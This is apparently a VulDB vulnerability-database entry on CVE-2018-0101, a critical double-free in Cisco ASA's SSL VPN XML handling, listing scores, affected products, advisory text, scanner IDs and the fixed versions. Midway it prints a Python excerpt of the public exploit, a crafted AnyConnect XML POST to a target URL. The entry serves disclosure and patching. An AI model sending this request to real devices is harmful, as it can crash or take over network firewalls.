Cisco ASA up to 9.9.1.1 SSL VPN XML Packet double free

CVSS Meta Temp Score
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CTI Interest Score
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9.8$0-$5k0.00

Summaryinfo

A vulnerability was found in Cisco ASA up to 9.9.1.1. It has been classified as very critical. The affected element is an unknown function of the component SSL VPN. Performing a manipulation as part of XML Packet results in double free. This vulnerability is known as CVE-2018-0101. Remote exploitation of the attack is possible. Furthermore, an exploit is available. Upgrading the affected component is recommended.

Detailsinfo

A vulnerability classified as very critical has been found in Cisco ASA up to 9.9.1.1 (Firewall Software). This affects an unknown code block of the component SSL VPN. The manipulation as part of a XML Packet leads to a double free vulnerability. CWE is classifying the issue as CWE-415. The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:

A vulnerability in the Secure Sockets Layer (SSL) VPN functionality of the Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated, remote attacker to cause a reload of the affected system or to remotely execute code. The vulnerability is due to an attempt to double free a region of memory when the webvpn feature is enabled on the Cisco ASA device. An attacker could exploit this vulnerability by sending multiple, crafted XML packets to a webvpn-configured interface on the affected system. An exploit could allow the attacker to execute arbitrary code and obtain full control of the system, or cause a reload of the affected device. This vulnerability affects Cisco ASA Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, ASA 1000V Cloud Firewall, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4110 Security Appliance, Firepower 9300 ASA Security Module, Firepower Threat Defense Software (FTD). Cisco Bug IDs: CSCvg35618.

The bug was discovered 01/29/2018. The weakness was published 01/29/2018 with NCC Group as cisco-sa-20180129-asa1 / CSCvg35618 as confirmed advisory (Website). It is possible to read the advisory at tools.cisco.com. This vulnerability is uniquely identified as CVE-2018-0101 since 11/27/2017. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details are unknown but a public exploit is available. The pricing for an exploit might be around USD $0-$5k at the moment (estimation calculated on 07/20/2024). The advisory points out:

A vulnerability in the Secure Sockets Layer (SSL) VPN functionality of the Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated, remote attacker to cause a reload of the affected system or to remotely execute code. The vulnerability is due to an attempt to double free a region of memory when the webvpn feature is enabled on the Cisco ASA device. An attacker could exploit this vulnerability by sending multiple, crafted XML packets to a webvpn-configured interface on the affected system. An exploit could allow the attacker to execute arbitrary code and obtain full control of the system, or cause a reload of the affected device.

A public exploit has been developed by Sean Dillon in Python and been published 2 weeks after the advisory. The exploit is shared for download at exploit-db.com. It is declared as highly functional. We expect the 0-day to have been worth approximately $100k and more. The vulnerability scanner Nessus provides a plugin with the ID 106484 (Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1)), which helps to determine the existence of the flaw in a target environment. It is assigned to the family CISCO and running in the context l. The commercial vulnerability scanner Qualys is able to test this issue with plugin 316187 (Cisco Adaptive Security Appliance Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1)). The code used by the exploit is:

headers = {}
headers['User-Agent'] = 'Open AnyConnect VPN Agent
v7.08-265-gae481214-dirty'
headers['Content-Type'] = 'application/x-www-form-urlencoded'
headers['X-Aggregate-Auth'] = '1'
headers['X-Transcend-Version'] = '1'
headers['Accept-Encoding'] = 'identity'
headers['Accept'] = '*/*'
headers['X-AnyConnect-Platform'] = 'linux-64'
headers['X-Support-HTTP-Auth'] = 'false'
headers['X-Pad'] = '0000000000000000000000000000000000000000'
 
xml = """<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
    <host-scan-reply>A</host-scan-reply>
</config-auth>
"""
 
r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False, allow_redirects=False)

Upgrading to version 9.1.7.20, 9.2.4.25, 9.4.4.14, 9.6.3.20, 9.7.1.16, 9.8.2.14 or 9.9.1.2 eliminates this vulnerability. A possible mitigation has been published immediately after the disclosure of the vulnerability.

The vulnerability is also documented in the databases at Exploit-DB (43986), Tenable (106484), SecurityFocus (BID 102845†) and SecurityTracker (ID 1040292†). Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Affected

  • Cisco 3000 Series Industrial Security Appliance
  • Cisco 5500 Series Adaptive Security Appliances
  • Cisco 5500-X Series Next-Generation Firewalls
  • Cisco ASA Services Module for Catalyst
  • Cisco 1000V Cloud Firewall
  • Cisco Adaptive Security Virtual Appliance

Productinfo

Type

Vendor

Name

Version

License

Website

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 10.0
VulDB Meta Temp Score: 9.8

VulDB Base Score: 10.0
VulDB Temp Score: 9.5
VulDB Vector: 🔍
VulDB Reliability: 🔍

Vendor Base Score (Cisco): 10.0
Vendor Vector (Cisco): 🔍

NVD Base Score: 10.0
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
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💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Double free
CWE: CWE-415 / CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Highly functional
Author: Sean Dillon
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Nessus ID: 106484
Nessus Name: Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1)
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exposure Time: 🔍
Exploit Delay Time: 🔍

Upgrade: ASA 9.1.7.20/9.2.4.25/9.4.4.14/9.6.3.20/9.7.1.16/9.8.2.14/9.9.1.2

Timelineinfo

11/27/2017 🔍
01/29/2018 +63 days 🔍
01/29/2018 +0 days 🔍
01/29/2018 +0 days 🔍
01/29/2018 +0 days 🔍
01/29/2018 +0 days 🔍
01/29/2018 +0 days 🔍
01/30/2018 +1 days 🔍
01/30/2018 +0 days 🔍
02/07/2018 +8 days 🔍
02/07/2018 +0 days 🔍
07/20/2024 +2355 days 🔍

Sourcesinfo

Vendor: cisco.com

Advisory: cisco-sa-20180129-asa1 / CSCvg35618
Researcher: Cedric Halbronn
Organization: NCC Group
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2018-0101 (🔍)
GCVE (CVE): GCVE-0-2018-0101
GCVE (VulDB): GCVE-100-112635
SecurityFocus: 102845
SecurityTracker: 1040292

scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 01/30/2018 08:06
Updated: 07/20/2024 10:58
Changes: 01/30/2018 08:06 (102), 01/03/2020 10:55 (2), 02/02/2021 11:14 (2), 07/20/2024 10:58 (16)
Complete: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Discussion

 Marc Ruef (+1)
8 years ago
It appears that the issue was indeed "discovered" or "reported" during the time of CVE assignment and it was not a generic pre-assignment.

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